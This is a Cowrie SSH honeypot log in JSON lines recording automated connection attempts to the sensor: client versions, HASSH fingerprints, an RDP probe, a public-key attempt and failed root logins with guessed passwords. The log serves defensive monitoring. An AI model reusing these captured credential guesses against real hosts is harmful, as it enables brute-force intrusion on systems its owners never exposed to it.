{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:07.824036Z","src_ip":"103.77.175.15","session":"6a39d6563414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mother","message":"login attempt [root/mother] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:08.573700Z","src_ip":"103.77.175.15","session":"6a39d6563414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:09.826418Z","src_ip":"103.77.175.15","session":"6a39d6563414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37100,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5eada75c55c","protocol":"ssh","message":"New connection: 103.176.20.57:37100 (10.17.0.5:22) [session: b5eada75c55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:12.862480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:12.866824Z","src_ip":"103.176.20.57","session":"b5eada75c55c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:13.112589Z","src_ip":"103.176.20.57","session":"b5eada75c55c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":60258,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0a214b52c4a","protocol":"ssh","message":"New connection: 103.243.24.124:60258 (10.17.0.5:22) [session: d0a214b52c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:13.448864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:13.454570Z","src_ip":"103.243.24.124","session":"d0a214b52c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:13.665704Z","src_ip":"103.243.24.124","session":"d0a214b52c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":53154,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7c45e8c48a1","protocol":"ssh","message":"New connection: 109.237.96.109:53154 (10.17.0.5:22) [session: c7c45e8c48a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:13.703900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:13.714154Z","src_ip":"109.237.96.109","session":"c7c45e8c48a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:13.804006Z","src_ip":"109.237.96.109","session":"c7c45e8c48a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwedcxzas","message":"login attempt [root/qwedcxzas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:13.853122Z","src_ip":"103.176.20.57","session":"b5eada75c55c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1123581321","message":"login attempt [root/1123581321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:14.073117Z","src_ip":"109.237.96.109","session":"c7c45e8c48a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"froze","message":"login attempt [root/froze] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:14.097465Z","src_ip":"103.243.24.124","session":"d0a214b52c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":45746,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2bf1dc7c36a","protocol":"ssh","message":"New connection: 43.128.106.207:45746 (159.203.135.109:22) [session: a2bf1dc7c36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:14.275802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:14.281426Z","src_ip":"43.128.106.207","session":"a2bf1dc7c36a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:14.527428Z","src_ip":"43.128.106.207","session":"a2bf1dc7c36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:15.101737Z","src_ip":"103.176.20.57","session":"b5eada75c55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:15.167520Z","src_ip":"109.237.96.109","session":"c7c45e8c48a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:15.316266Z","src_ip":"103.243.24.124","session":"d0a214b52c4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"formula1","message":"login attempt [root/formula1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:15.539996Z","src_ip":"43.128.106.207","session":"a2bf1dc7c36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:16.788981Z","src_ip":"43.128.106.207","session":"a2bf1dc7c36a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":39750,"dst_ip":"159.203.135.109","dst_port":22,"session":"c488ff6ff174","protocol":"ssh","message":"New connection: 217.154.42.110:39750 (159.203.135.109:22) [session: c488ff6ff174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:19.425161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:19.429860Z","src_ip":"217.154.42.110","session":"c488ff6ff174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:19.509176Z","src_ip":"217.154.42.110","session":"c488ff6ff174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234@","message":"login attempt [root/abcd1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:19.860846Z","src_ip":"217.154.42.110","session":"c488ff6ff174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":48370,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b277d9683fc","protocol":"ssh","message":"New connection: 43.134.104.184:48370 (159.203.135.109:22) [session: 4b277d9683fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:20.922100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:20.926544Z","src_ip":"43.134.104.184","session":"4b277d9683fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:20.945719Z","src_ip":"217.154.42.110","session":"c488ff6ff174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:21.164021Z","src_ip":"43.134.104.184","session":"4b277d9683fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wolf","message":"login attempt [root/wolf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:22.143608Z","src_ip":"43.134.104.184","session":"4b277d9683fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:23.384194Z","src_ip":"43.134.104.184","session":"4b277d9683fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":49354,"dst_ip":"159.203.135.109","dst_port":22,"session":"907c2749908f","protocol":"ssh","message":"New connection: 167.172.81.52:49354 (159.203.135.109:22) [session: 907c2749908f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:24.169120Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:24.174602Z","src_ip":"167.172.81.52","session":"907c2749908f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:24.178267Z","src_ip":"167.172.81.52","session":"907c2749908f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.222.110","src_port":48194,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d2f06487c1a","protocol":"ssh","message":"New connection: 31.41.222.110:48194 (10.17.0.5:22) [session: 3d2f06487c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:29.856644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:29.861178Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:29.982183Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:90:94:88:6b:a6:ed:74:09:5e:06:77:a9:f8:a9:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2m8gcX6+VD+X9jDchTUon8EHy3kT39N+d05G1SWk0RN7N8yHOyGJQXSF8ajW9dx+DpwuB9M9pdBZxS3dkJ/ZimTa7bO81hSSpii6cekQ4vNqjelxcmbAh/KCtap7O/3gKEUM9iI3gtqVTfxjw3w467uYJgSKrb0fsCibg5sUAn2jIUQAsaM00lQzEu7JEcdSdBlTcQkMLr2idAuJvG+LiAv9HwUmCGcO9MPRrpuCLqRjk5wrPF+j9pk8wfs25Uu0nXPb5/9PBN2VYZ7Lfsf4UidMlVTmW4J3wOaK4ZJSLit4/Pgal8Bgi/lug8ha8I0ZWe0iN9m8Ww17pq4yYKGSR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:90:94:88:6b:a6:ed:74:09:5e:06:77:a9:f8:a9:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:30.568566Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
